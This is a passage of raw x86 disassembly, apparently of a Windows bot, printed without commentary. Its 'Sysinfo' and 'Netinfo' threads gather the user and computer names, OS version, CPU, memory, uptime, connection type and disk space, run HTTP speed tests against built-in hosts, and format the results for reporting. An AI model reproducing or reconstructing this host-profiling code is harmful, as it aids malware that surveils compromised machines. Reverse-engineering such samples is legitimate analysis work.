--------------------------------------------------------------------------- loc_4081A2: ; CODE XREF: sub_40813C+2Dj ; sub_40813C+62j mov eax, [ebp+var_8] mov [ebp+var_C], eax mov eax, [ebp+arg_4] mov [ebp+var_4], eax loc_4081AE: ; CODE XREF: sub_40813C:loc_4081F5j mov eax, [ebp+var_C] movsx eax, byte ptr [eax] test eax, eax jz short loc_4081F7 mov eax, [ebp+var_C] movsx eax, byte ptr [eax] mov ecx, [ebp+var_4] movsx ecx, byte ptr [ecx] cmp eax, ecx jnz short loc_4081D7 mov eax, [ebp+var_C] and byte ptr [eax], 0 mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax jmp short loc_4081F7 ; --------------------------------------------------------------------------- loc_4081D7: ; CODE XREF: sub_40813C+8Aj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax mov eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_4081F5 mov eax, [ebp+arg_4] mov [ebp+var_4], eax mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax loc_4081F5: ; CODE XREF: sub_40813C+AAj jmp short loc_4081AE ; --------------------------------------------------------------------------- loc_4081F7: ; CODE XREF: sub_40813C+7Aj ; sub_40813C+99j mov eax, [ebp+arg_8] mov ecx, [ebp+var_C] mov [eax], ecx mov eax, [ebp+var_8] sub eax, [ebp+var_C] neg eax sbb eax, eax and eax, [ebp+var_8] leave retn sub_40813C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40820E proc near ; CODE XREF: sub_40821B:loc_408221p ; sub_40821B+1Cp push ebp mov ebp, esp push ebx push esi push edi rdtsc pop edi pop esi pop ebx pop ebp retn sub_40820E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40821B proc near ; CODE XREF: sub_4083AD+3A4p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 20h loc_408221: ; CODE XREF: sub_40821B+4Aj ; sub_40821B+55j call sub_40820E mov [ebp+var_20], eax mov [ebp+var_1C], edx push 3E8h call dword_41709C ; Sleep call sub_40820E sub eax, [ebp+var_20] sbb edx, [ebp+var_1C] push 0 push 186A0h push edx push eax call sub_416C90 push 0 push 0Ah push edx push eax call sub_416C90 mov [ebp+var_8], eax mov [ebp+var_4], edx cmp [ebp+var_4], 0 ja short loc_408221 jb short loc_408272 cmp [ebp+var_8], 0F4240h ja short loc_408221 loc_408272: ; CODE XREF: sub_40821B+4Cj push 0 push 64h push [ebp+var_4] push [ebp+var_8] call sub_416C10 mov [ebp+var_18], eax mov [ebp+var_14], edx mov [ebp+var_10], 64h and [ebp+var_C], 0 cmp [ebp+var_14], 0 ja short loc_4082AB jb short loc_4082A0 cmp [ebp+var_18], 50h jnb short loc_4082AB loc_4082A0: ; CODE XREF: sub_40821B+7Dj mov [ebp+var_10], 4Bh and [ebp+var_C], 0 loc_4082AB: ; CODE XREF: sub_40821B+7Bj ; sub_40821B+83j cmp [ebp+var_14], 0 ja short loc_4082C4 jb short loc_4082B9 cmp [ebp+var_18], 47h jnb short loc_4082C4 loc_4082B9: ; CODE XREF: sub_40821B+96j mov [ebp+var_10], 42h and [ebp+var_C], 0 loc_4082C4: ; CODE XREF: sub_40821B+94j ; sub_40821B+9Cj cmp [ebp+var_14], 0 ja short loc_4082DD jb short loc_4082D2 cmp [ebp+var_18], 37h jnb short loc_4082DD loc_4082D2: ; CODE XREF: sub_40821B+AFj mov [ebp+var_10], 32h and [ebp+var_C], 0 loc_4082DD: ; CODE XREF: sub_40821B+ADj ; sub_40821B+B5j cmp [ebp+var_14], 0 ja short loc_4082F6 jb short loc_4082EB cmp [ebp+var_18], 26h jnb short loc_4082F6 loc_4082EB: ; CODE XREF: sub_40821B+C8j mov [ebp+var_10], 21h and [ebp+var_C], 0 loc_4082F6: ; CODE XREF: sub_40821B+C6j ; sub_40821B+CEj cmp [ebp+var_14], 0 ja short loc_40830F jb short loc_408304 cmp [ebp+var_18], 1Eh jnb short loc_40830F loc_408304: ; CODE XREF: sub_40821B+E1j mov [ebp+var_10], 19h and [ebp+var_C], 0 loc_40830F: ; CODE XREF: sub_40821B+DFj ; sub_40821B+E7j cmp [ebp+var_14], 0 ja short loc_408325 jb short loc_40831D cmp [ebp+var_18], 0Ah jnb short loc_408325 loc_40831D: ; CODE XREF: sub_40821B+FAj and [ebp+var_10], 0 and [ebp+var_C], 0 loc_408325: ; CODE XREF: sub_40821B+F8j ; sub_40821B+100j mov eax, [ebp+var_8] sub eax, [ebp+var_18] mov ecx, [ebp+var_4] sbb ecx, [ebp+var_14] add eax, [ebp+var_10] adc ecx, [ebp+var_C] mov [ebp+var_8], eax mov [ebp+var_4], ecx mov eax, [ebp+var_8] leave retn sub_40821B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408342 proc near ; CODE XREF: sub_40D043+156p ; sub_40D871+30Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1Fh push [ebp+arg_0] push 7 push 400h call dword_417034 ; GetLocaleInfoA neg eax sbb eax, eax neg eax mov [ebp+var_4], eax mov eax, [ebp+arg_0] and byte ptr [eax+3], 0 cmp [ebp+var_4], 0 jz short loc_408381 push offset off_419100 push [ebp+arg_0] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_4083A8 loc_408381: ; CODE XREF: sub_408342+2Aj push 1Fh push [ebp+arg_0] push 7 push 800h call dword_417034 ; GetLocaleInfoA neg eax sbb eax, eax neg eax mov [ebp+var_4], eax mov eax, [ebp+arg_0] and byte ptr [eax+3], 0 mov eax, [ebp+var_4] jmp short locret_4083AB ; --------------------------------------------------------------------------- loc_4083A8: ; CODE XREF: sub_408342+3Dj push 1 pop eax locret_4083AB: ; CODE XREF: sub_408342+64j leave retn sub_408342 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4083AD proc near ; DATA XREF: sub_4087C4+35o var_750 = dword ptr -750h var_74C = dword ptr -74Ch var_748 = dword ptr -748h var_744 = dword ptr -744h var_740 = dword ptr -740h var_73C = dword ptr -73Ch var_738 = dword ptr -738h var_734 = byte ptr -734h var_72C = dword ptr -72Ch var_728 = dword ptr -728h var_714 = dword ptr -714h var_710 = dword ptr -710h var_70C = dword ptr -70Ch var_708 = byte ptr -708h var_6F0 = dword ptr -6F0h var_6EC = dword ptr -6ECh var_6E8 = dword ptr -6E8h var_6E4 = dword ptr -6E4h var_6E0 = byte ptr -6E0h var_6D0 = dword ptr -6D0h var_6CC = dword ptr -6CCh var_6C8 = byte ptr -6C8h var_524 = dword ptr -524h var_520 = dword ptr -520h var_51C = dword ptr -51Ch var_518 = dword ptr -518h var_514 = dword ptr -514h var_510 = dword ptr -510h var_50C = byte ptr -50Ch var_48C = dword ptr -48Ch var_488 = dword ptr -488h var_484 = dword ptr -484h var_480 = dword ptr -480h var_47C = byte ptr -47Ch var_409 = byte ptr -409h var_408 = byte ptr -408h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 750h push ebx push esi push edi push 1A7h push [ebp+arg_0] lea eax, [ebp+var_6CC] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx lea eax, [ebp+var_734] push eax call dword_4170C4 ; GlobalMemoryStatus mov eax, [ebp+var_72C] add eax, 100000h shr eax, 14h mov [ebp+var_6F0], eax mov eax, [ebp+var_728] add eax, 100000h shr eax, 14h mov [ebp+var_738], eax call sub_4092A4 mov [ebp+var_714], eax mov eax, [ebp+var_714] xor edx, edx mov ecx, 15180h div ecx mov [ebp+var_6E8], eax mov eax, [ebp+var_714] xor edx, edx mov ecx, 15180h div ecx mov eax, edx xor edx, edx mov ecx, 0E10h div ecx mov [ebp+var_524], eax mov eax, [ebp+var_714] xor edx, edx mov ecx, 15180h div ecx mov eax, edx xor edx, edx mov ecx, 0E10h div ecx mov eax, edx xor edx, edx push 3Ch pop ecx div ecx mov [ebp+var_6E4], eax mov [ebp+var_8], 15h mov [ebp+var_6D0], 10h lea eax, [ebp+var_8] push eax lea eax, [ebp+var_708] push eax call dword_417018 ; GetUserNameA lea eax, [ebp+var_6D0] push eax lea eax, [ebp+var_6E0] push eax call dword_417078 ; GetComputerNameA mov [ebp+var_520], 94h push 24h pop ecx xor eax, eax lea edi, [ebp+var_51C] rep stosd lea eax, [ebp+var_520] push eax call dword_417030 ; GetVersionExA mov [ebp+var_48C], offset a? ; "?" mov [ebp+var_710], offset aNoSp ; "no SP" cmp [ebp+var_51C], 4 jnz short loc_408522 cmp [ebp+var_518], 0 jnz short loc_408522 cmp [ebp+var_510], 1 jnz short loc_40850A mov [ebp+var_48C], offset a95 ; "95" loc_40850A: ; CODE XREF: sub_4083AD+151j cmp [ebp+var_510], 2 jnz short loc_40851D mov [ebp+var_48C], offset aNt ; "NT" loc_40851D: ; CODE XREF: sub_4083AD+164j jmp loc_4085B6 ; --------------------------------------------------------------------------- loc_408522: ; CODE XREF: sub_4083AD+13Fj ; sub_4083AD+148j cmp [ebp+var_51C], 4 jnz short loc_408540 cmp [ebp+var_518], 0Ah jnz short loc_408540 mov [ebp+var_48C], offset a98 ; "98" jmp short loc_4085B6 ; --------------------------------------------------------------------------- loc_408540: ; CODE XREF: sub_4083AD+17Cj ; sub_4083AD+185j cmp [ebp+var_51C], 4 jnz short loc_40855E cmp [ebp+var_518], 5Ah jnz short loc_40855E mov [ebp+var_48C], offset aMe ; "ME" jmp short loc_4085B6 ; --------------------------------------------------------------------------- loc_40855E: ; CODE XREF: sub_4083AD+19Aj ; sub_4083AD+1A3j cmp [ebp+var_51C], 5 jnz short loc_40857C cmp [ebp+var_518], 0 jnz short loc_40857C mov [ebp+var_48C], offset a2000 ; "2000" jmp short loc_4085B6 ; --------------------------------------------------------------------------- loc_40857C: ; CODE XREF: sub_4083AD+1B8j ; sub_4083AD+1C1j cmp [ebp+var_51C], 5 jnz short loc_40859A cmp [ebp+var_518], 1 jnz short loc_40859A mov [ebp+var_48C], offset aXp ; "XP" jmp short loc_4085B6 ; --------------------------------------------------------------------------- loc_40859A: ; CODE XREF: sub_4083AD+1D6j ; sub_4083AD+1DFj cmp [ebp+var_51C], 5 jnz short loc_4085B6 cmp [ebp+var_518], 2 jnz short loc_4085B6 mov [ebp+var_48C], offset a2003 ; "2003" loc_4085B6: ; CODE XREF: sub_4083AD:loc_40851Dj ; sub_4083AD+191j ... cmp [ebp+var_510], 2 jnz short loc_4085D6 movsx eax, [ebp+var_50C] test eax, eax jz short loc_4085D6 lea eax, [ebp+var_50C] mov [ebp+var_710], eax loc_4085D6: ; CODE XREF: sub_4083AD+210j ; sub_4083AD+21Bj call sub_40435B test eax, eax jz short loc_4085EB mov [ebp+var_744], offset aYes ; "Yes" jmp short loc_4085F5 ; --------------------------------------------------------------------------- loc_4085EB: ; CODE XREF: sub_4083AD+230j mov [ebp+var_744], offset aNo ; "No" loc_4085F5: ; CODE XREF: sub_4083AD+23Cj mov eax, [ebp+var_744] mov [ebp+var_4], eax and [ebp+var_47C], 0 and [ebp+var_409], 0 xor eax, eax cpuid mov [ebp+var_488], ebx mov [ebp+var_484], edx mov [ebp+var_480], ecx lea eax, [ebp+var_488] mov [ebp+var_6EC], eax and [ebp+var_70C], 0 lea eax, [ebp+var_70C] push eax push 20019h push 0 push offset aHardwareDescri ; "HARDWARE\\DESCRIPTION\\System\\CentralProc"... push 80000002h call dword_417008 ; RegOpenKeyExA test eax, eax jnz short loc_4086B3 and [ebp+var_73C], 0 mov [ebp+var_740], 80h lea eax, [ebp+var_740] push eax lea eax, [ebp+var_488] push eax lea eax, [ebp+var_73C] push eax push 0 push offset aProcessornames ; "ProcessorNameString" push [ebp+var_70C] call dword_41700C ; RegQueryValueExA test eax, eax jnz short loc_4086A7 push 1 push 1 lea eax, [ebp+var_488] push eax call sub_407C2C add esp, 0Ch loc_4086A7: ; CODE XREF: sub_4083AD+2E5j push [ebp+var_70C] call dword_417028 ; RegCloseKey loc_4086B3: ; CODE XREF: sub_4083AD+2A8j cmp [ebp+var_6E4], 1 jnz short loc_4086C8 mov [ebp+var_748], offset byte_41DE30 jmp short loc_4086D2 ; --------------------------------------------------------------------------- loc_4086C8: ; CODE XREF: sub_4083AD+30Dj mov [ebp+var_748], offset dword_4191F4 loc_4086D2: ; CODE XREF: sub_4083AD+319j cmp [ebp+var_524], 1 jnz short loc_4086E7 mov [ebp+var_74C], offset byte_41DE30 jmp short loc_4086F1 ; --------------------------------------------------------------------------- loc_4086E7: ; CODE XREF: sub_4083AD+32Cj mov [ebp+var_74C], offset dword_4191F4 loc_4086F1: ; CODE XREF: sub_4083AD+338j cmp [ebp+var_6E8], 1 jnz short loc_408706 mov [ebp+var_750], offset byte_41DE30 jmp short loc_408710 ; --------------------------------------------------------------------------- loc_408706: ; CODE XREF: sub_4083AD+34Bj mov [ebp+var_750], offset dword_4191F4 loc_408710: ; CODE XREF: sub_4083AD+357j lea eax, [ebp+var_708] push eax lea eax, [ebp+var_6E0] push eax push [ebp+var_748] push [ebp+var_6E4] push [ebp+var_74C] push [ebp+var_524] push [ebp+var_750] push [ebp+var_6E8] push [ebp+var_4] push [ebp+var_6F0] push [ebp+var_738] call sub_40821B push eax push [ebp+var_6EC] push [ebp+var_514] push [ebp+var_518] push [ebp+var_51C] push [ebp+var_710] push [ebp+var_48C] push offset dword_419104 push 400h lea eax, [ebp+var_408] push eax call sub_416BAE ; _snprintf add esp, 54h lea eax, [ebp+var_408] push eax push offset dword_418B64 lea eax, [ebp+var_6C8] push eax call sub_40D53F add esp, 0Ch push [ebp+var_6CC] call sub_409763 pop ecx xor eax, eax pop edi pop esi pop ebx leave retn 4 sub_4083AD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4087C4 proc near ; CODE XREF: sub_40A9CF+1B9Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_4087DE jmp short locret_408806 ; --------------------------------------------------------------------------- loc_4087DE: ; CODE XREF: sub_4087C4+16j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push offset aSysinfoThread ; "Sysinfo thread" push 0 push [ebp+var_4] push offset sub_4083AD call sub_4095A4 add esp, 10h locret_408806: ; CODE XREF: sub_4087C4+18j leave retn sub_4087C4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408808 proc near ; CODE XREF: sub_408887+Bp ; sub_408887+19p ... var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 2Ch push [ebp+arg_0] lea eax, [ebp+var_28] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_28] push eax call sub_4105FB pop ecx call sub_416B64 ; clock mov [ebp+var_4], eax push 7D0h push 0 push offset a80 ; "80" lea eax, [ebp+var_28] push eax call sub_4050EA add esp, 10h mov [ebp+var_8], eax push [ebp+var_8] call sub_4053B1 pop ecx cmp [ebp+var_8], 0 jnz short loc_40885F mov eax, 3E8h jmp short locret_408885 ; --------------------------------------------------------------------------- loc_40885F: ; CODE XREF: sub_408808+4Ej call sub_416B64 ; clock sub eax, [ebp+var_4] cmp eax, 3E8h jnb short loc_40887B call sub_416B64 ; clock sub eax, [ebp+var_4] mov [ebp+var_2C], eax jmp short loc_408882 ; --------------------------------------------------------------------------- loc_40887B: ; CODE XREF: sub_408808+64j mov [ebp+var_2C], 3E8h loc_408882: ; CODE XREF: sub_408808+71j mov eax, [ebp+var_2C] locret_408885: ; CODE XREF: sub_408808+55j leave retn sub_408808 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408887 proc near ; CODE XREF: sub_408B30+1C2p ; sub_40CA29+1E9p ... var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h push offset dword_418F60 call sub_408808 pop ecx mov [ebp+var_4], eax push offset loc_418F6C call sub_408808 pop ecx mov [ebp+var_8], eax push offset dword_418F84 call sub_408808 pop ecx mov [ebp+var_C], eax push offset loc_418F90 call sub_408808 pop ecx mov [ebp+var_10], eax push offset dword_418FA0 call sub_408808 pop ecx mov [ebp+var_14], eax push offset dword_418FB0 call sub_408808 pop ecx mov [ebp+var_18], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] add eax, [ebp+var_C] add eax, [ebp+var_10] add eax, [ebp+var_14] add eax, [ebp+var_18] xor edx, edx push 6 pop ecx div ecx leave retn sub_408887 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4088FC proc near ; CODE XREF: sub_408B30:loc_408D33p var_438 = qword ptr -438h var_430 = dword ptr -430h var_42C = qword ptr -42Ch var_424 = dword ptr -424h var_420 = dword ptr -420h var_41C = dword ptr -41Ch var_418 = byte ptr -418h var_318 = dword ptr -318h var_314 = dword ptr -314h var_310 = dword ptr -310h var_30C = dword ptr -30Ch var_308 = byte ptr -308h var_208 = byte ptr -208h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 438h and [ebp+var_8], 0 jmp short loc_408912 ; --------------------------------------------------------------------------- loc_40890B: ; CODE XREF: sub_4088FC+23j mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_408912: ; CODE XREF: sub_4088FC+Dj mov eax, [ebp+var_8] cmp off_418FC4[eax*4], 0 jz short loc_408921 jmp short loc_40890B ; --------------------------------------------------------------------------- loc_408921: ; CODE XREF: sub_4088FC+21j mov eax, [ebp+var_8] shr eax, 1 mov [ebp+var_8], eax and [ebp+var_4], 0 jmp short loc_408936 ; --------------------------------------------------------------------------- loc_40892F: ; CODE XREF: sub_4088FC+D6j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_408936: ; CODE XREF: sub_4088FC+31j cmp [ebp+var_4], 3 jnb loc_408B2C mov eax, [ebp+var_8] dec eax push eax push 0 call sub_4103F5 pop ecx pop ecx mov [ebp+var_318], eax mov eax, [ebp+var_318] shl eax, 1 push off_418FC4[eax*4] lea eax, [ebp+var_418] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_418] push eax call sub_4105FB pop ecx mov eax, [ebp+var_318] shl eax, 1 push off_418FC8[eax*4] lea eax, [ebp+var_308] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_308] push eax call sub_4105FB pop ecx push 2710h push 0 push offset a80 ; "80" lea eax, [ebp+var_418] push eax call sub_4050EA add esp, 10h mov [ebp+var_310], eax cmp [ebp+var_310], 0 jnz short loc_4089D7 jmp loc_40892F ; --------------------------------------------------------------------------- loc_4089D7: ; CODE XREF: sub_4088FC+D4j lea eax, [ebp+var_418] push eax lea eax, [ebp+var_308] push eax push offset aGetSHttp1_0Hos ; "GET /%s HTTP/1.0\r\nHost: %s\r\n\r\n" push 200h lea eax, [ebp+var_208] push eax call sub_416BAE ; _snprintf add esp, 14h lea eax, [ebp+var_208] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_208] push eax push [ebp+var_310] call sub_4053BF add esp, 0Ch and [ebp+var_314], 0 call sub_416B64 ; clock mov [ebp+var_41C], eax and [ebp+var_30C], 0 loc_408A3A: ; CODE XREF: sub_4088FC+1AFj ; sub_4088FC+22Bj push 1388h push 200h lea eax, [ebp+var_208] push eax push [ebp+var_310] call sub_405443 add esp, 10h mov [ebp+var_420], eax cmp [ebp+var_420], 0 jz short loc_408A93 cmp [ebp+var_420], 0FFFFFFFFh jz short loc_408A93 call sub_416B64 ; clock sub eax, [ebp+var_41C] cmp eax, 1388h jnb short loc_408A93 cmp [ebp+var_30C], 100000h jb loc_408B15 loc_408A93: ; CODE XREF: sub_4088FC+16Aj ; sub_4088FC+173j ... cmp [ebp+var_30C], 2000h jnb short loc_408AAD push [ebp+var_310] call sub_40538D pop ecx jmp short loc_408A3A ; --------------------------------------------------------------------------- loc_408AAD: ; CODE XREF: sub_4088FC+1A1j mov eax, [ebp+var_30C] mov dword ptr [ebp+var_42C], eax and dword ptr [ebp+var_42C+4], 0 fild [ebp+var_42C] fstp [ebp+var_430] call sub_416B64 ; clock sub eax, [ebp+var_41C] mov dword ptr [ebp+var_438], eax and dword ptr [ebp+var_438+4], 0 fild [ebp+var_438] fdiv flt_417270 fdivr [ebp+var_430] call sub_416CF8 ; _ftol mov [ebp+var_424], eax push [ebp+var_310] call sub_40538D pop ecx mov eax, [ebp+var_424] jmp short locret_408B2E ; --------------------------------------------------------------------------- loc_408B15: ; CODE XREF: sub_4088FC+191j mov eax, [ebp+var_30C] add eax, [ebp+var_420] mov [ebp+var_30C], eax jmp loc_408A3A ; --------------------------------------------------------------------------- loc_408B2C: ; CODE XREF: sub_4088FC+3Ej xor eax, eax locret_408B2E: ; CODE XREF: sub_4088FC+217j leave retn sub_4088FC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408B30 proc near ; DATA XREF: sub_408E4A+35o var_A9C = qword ptr -0A9Ch var_A7C = qword ptr -0A7Ch var_A74 = dword ptr -0A74h var_A70 = dword ptr -0A70h var_A6C = dword ptr -0A6Ch var_A68 = dword ptr -0A68h var_A64 = dword ptr -0A64h var_A60 = dword ptr -0A60h var_A5C = byte ptr -0A5Ch var_8B8 = dword ptr -8B8h var_8B4 = dword ptr -8B4h var_8B0 = byte ptr -8B0h var_830 = dword ptr -830h var_82C = dword ptr -82Ch var_828 = dword ptr -828h var_824 = dword ptr -824h var_820 = dword ptr -820h var_81C = dword ptr -81Ch var_818 = dword ptr -818h var_814 = byte ptr -814h var_414 = byte ptr -414h var_10 = byte ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0A7Ch push 1A7h push [ebp+arg_0] lea eax, [ebp+var_A60] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx push offset dword_41EF48 lea eax, [ebp+var_414] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_824] push eax push 0 push 0 push offset dword_41EF48 call dword_41DE84 ; getaddrinfo test eax, eax jnz short loc_408BBC push 1 push 0 push 0 push 401h lea eax, [ebp+var_414] push eax mov eax, [ebp+var_824] push dword ptr [eax+10h] mov eax, [ebp+var_824] push dword ptr [eax+18h] call dword_41DE88 ; getnameinfo push [ebp+var_824] call dword_41DE8C ; freeaddrinfo loc_408BBC: ; CODE XREF: sub_408B30+54j call sub_409318 mov [ebp+var_8B8], eax mov eax, [ebp+var_8B8] xor edx, edx mov ecx, 15180h div ecx mov [ebp+var_830], eax mov eax, [ebp+var_8B8] xor edx, edx mov ecx, 15180h div ecx mov eax, edx xor edx, edx mov ecx, 0E10h div ecx mov [ebp+var_820], eax mov eax, [ebp+var_8B8] xor edx, edx mov ecx, 15180h div ecx mov eax, edx xor edx, edx mov ecx, 0E10h div ecx mov eax, edx xor edx, edx push 3Ch pop ecx div ecx mov [ebp+var_82C], eax push offset aUnknown_0 ; "Unknown" lea eax, [ebp+var_8B0] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx push offset aUnknown_0 ; "Unknown" lea eax, [ebp+var_10] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx cmp dword_41DE7C, 0 jz short loc_408C9F push 0 push 80h lea eax, [ebp+var_8B0] push eax lea eax, [ebp+var_818] push eax call dword_41DE7C ; InternetGetConnectedStateEx test eax, eax jz short loc_408C9F mov eax, [ebp+var_818] and eax, 1 test eax, eax jz short loc_408C8F push offset aModem ; "Modem" lea eax, [ebp+var_10] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_408C9F ; --------------------------------------------------------------------------- loc_408C8F: ; CODE XREF: sub_408B30+14Bj push offset aLan ; "LAN" lea eax, [ebp+var_10] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx loc_408C9F: ; CODE XREF: sub_408B30+11Fj ; sub_408B30+13Ej ... call sub_4043E9 test eax, eax jz short loc_408CB4 mov [ebp+var_A64], offset aYes ; "Yes" jmp short loc_408CBE ; --------------------------------------------------------------------------- loc_408CB4: ; CODE XREF: sub_408B30+176j mov [ebp+var_A64], offset aNo ; "No" loc_408CBE: ; CODE XREF: sub_408B30+182j mov eax, [ebp+var_A64] mov [ebp+var_8], eax call sub_404279 test eax, eax jz short loc_408CDC mov [ebp+var_A68], offset aYes ; "Yes" jmp short loc_408CE6 ; --------------------------------------------------------------------------- loc_408CDC: ; CODE XREF: sub_408B30+19Ej mov [ebp+var_A68], offset aNo ; "No" loc_408CE6: ; CODE XREF: sub_408B30+1AAj mov eax, [ebp+var_A68] mov [ebp+var_8B4], eax call sub_408887 mov [ebp+var_828], eax mov [ebp+var_81C], offset aBad ; "Bad" cmp [ebp+var_828], 2EEh jnb short loc_408D1D mov [ebp+var_81C], offset aAvarage ; "Avarage" loc_408D1D: ; CODE XREF: sub_408B30+1E1j cmp [ebp+var_828], 1F4h jnb short loc_408D33 mov [ebp+var_81C], offset aGood ; "Good" loc_408D33: ; CODE XREF: sub_408B30+1F7j call sub_4088FC mov [ebp+var_4], eax cmp [ebp+var_82C], 1 jnz short loc_408D50 mov [ebp+var_A6C], offset byte_41DE30 jmp short loc_408D5A ; --------------------------------------------------------------------------- loc_408D50: ; CODE XREF: sub_408B30+212j mov [ebp+var_A6C], offset dword_4191F4 loc_408D5A: ; CODE XREF: sub_408B30+21Ej cmp [ebp+var_820], 1 jnz short loc_408D6F mov [ebp+var_A70], offset byte_41DE30 jmp short loc_408D79 ; --------------------------------------------------------------------------- loc_408D6F: ; CODE XREF: sub_408B30+231j mov [ebp+var_A70], offset dword_4191F4 loc_408D79: ; CODE XREF: sub_408B30+23Dj cmp [ebp+var_830], 1 jnz short loc_408D8E mov [ebp+var_A74], offset byte_41DE30 jmp short loc_408D98 ; --------------------------------------------------------------------------- loc_408D8E: ; CODE XREF: sub_408B30+250j mov [ebp+var_A74], offset dword_4191F4 loc_408D98: ; CODE XREF: sub_408B30+25Cj push [ebp+var_A6C] push [ebp+var_82C] push [ebp+var_A70] push [ebp+var_820] push [ebp+var_A74] push [ebp+var_830] mov eax, [ebp+var_4] mov dword ptr [ebp+var_A7C], eax and dword ptr [ebp+var_A7C+4], 0 fild [ebp+var_A7C] fdiv flt_417274 push ecx push ecx fstp [esp+0A9Ch+var_A9C] push [ebp+var_828] push [ebp+var_81C] push [ebp+var_8B4] push [ebp+var_8] lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8B0] push eax lea eax, [ebp+var_414] push eax push offset dword_419284 push 400h lea eax, [ebp+var_814] push eax call sub_416BAE ; _snprintf add esp, 48h lea eax, [ebp+var_814] push eax push offset dword_418B64 lea eax, [ebp+var_A5C] push eax call sub_40D53F add esp, 0Ch push [ebp+var_A60] call sub_409763 pop ecx xor eax, eax leave retn 4 sub_408B30 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408E4A proc near ; CODE XREF: sub_40A9CF+1BD8p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_408E64 jmp short locret_408E8C ; --------------------------------------------------------------------------- loc_408E64: ; CODE XREF: sub_408E4A+16j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push offset aNetinfoThread ; "Netinfo thread" push 0 push [ebp+var_4] push offset sub_408B30 call sub_4095A4 add esp, 10h locret_408E8C: ; CODE XREF: sub_408E4A+18j leave retn sub_408E4A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408E8E proc near ; CODE XREF: sub_40CA29+1C5p ; sub_40CA29+2DAp ... var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 push ebp mov ebp, esp sub esp, 24h mov eax, dword_419398 mov [ebp+var_1C], eax and [ebp+var_10], 0 and [ebp+var_C], 0 loc_408EA4: ; CODE XREF: sub_408E8E+95j lea eax, [ebp+var_1C] push eax call dword_4170CC ; GetDriveTypeA mov [ebp+var_10], eax cmp [ebp+var_10], 0 jz short loc_408F14 cmp [ebp+var_10], 1 jz short loc_408F14 cmp [ebp+var_10], 5 jz short loc_408EE1 cmp [ebp+var_10], 2 jz short loc_408EE1 lea eax, [ebp+var_24] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_1C] push eax call dword_4170C8 ; GetDiskFreeSpaceExA jmp short loc_408EF1 ; --------------------------------------------------------------------------- loc_408EE1: ; CODE XREF: sub_408E8E+33j ; sub_408E8E+39j push 8 push 0 lea eax, [ebp+var_24] push eax call sub_416B6A ; memset add esp, 0Ch loc_408EF1: ; CODE XREF: sub_408E8E+51j push 0 push 100000h push [ebp+var_20] push [ebp+var_24] call sub_416C90 mov [ebp+var_24], eax mov [ebp+var_20], edx mov eax, [ebp+var_24] mov ecx, [ebp+var_C] add ecx, eax mov [ebp+var_C], ecx loc_408F14: ; CODE XREF: sub_408E8E+27j ; 